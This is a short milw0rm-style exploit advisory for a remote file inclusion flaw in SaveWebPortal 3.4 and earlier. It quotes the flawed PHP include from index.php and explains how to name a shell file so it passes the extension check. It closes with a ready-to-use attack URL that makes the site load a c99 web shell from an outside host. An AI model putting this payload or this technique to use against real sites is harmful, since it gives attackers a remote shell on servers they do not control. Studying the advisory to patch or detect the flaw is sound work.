SaveWebPortal <= 3.4 (page) Remote File Inclusion Vulnerability

-------------------------------------------- SaveWebPortal &#60;= 3.4(page) Remote File Inclusion Vulnerability Download:http://www.circeos.it/frontend/theme4/index.php?page=downloads -------------------------------------------- Found by x0rax Master9976@hotmail.de -------------------------------------------- Vulnerable Code: &#60;?php .... if (strstr ($page, &#34;.php&#34;) || strstr ($page, &#34;.htm&#34;) || strstr ($page, &#34;.html&#34;)) { include (&#34;$page&#34;); .... ?&#62; -------------------------------------------- to inject succesfully you have to create a file called shell.html.txt or shell.php.txt otherwise it wont work! -------------------------------------------- Affected File: index.php =] -------------------------------------------- Vulnerability: http://host.com/index.php?page=http://master-boy.cwsurf.de/c99.php.txt -------------------------------------------- # milw0rm.com [2006-08-10]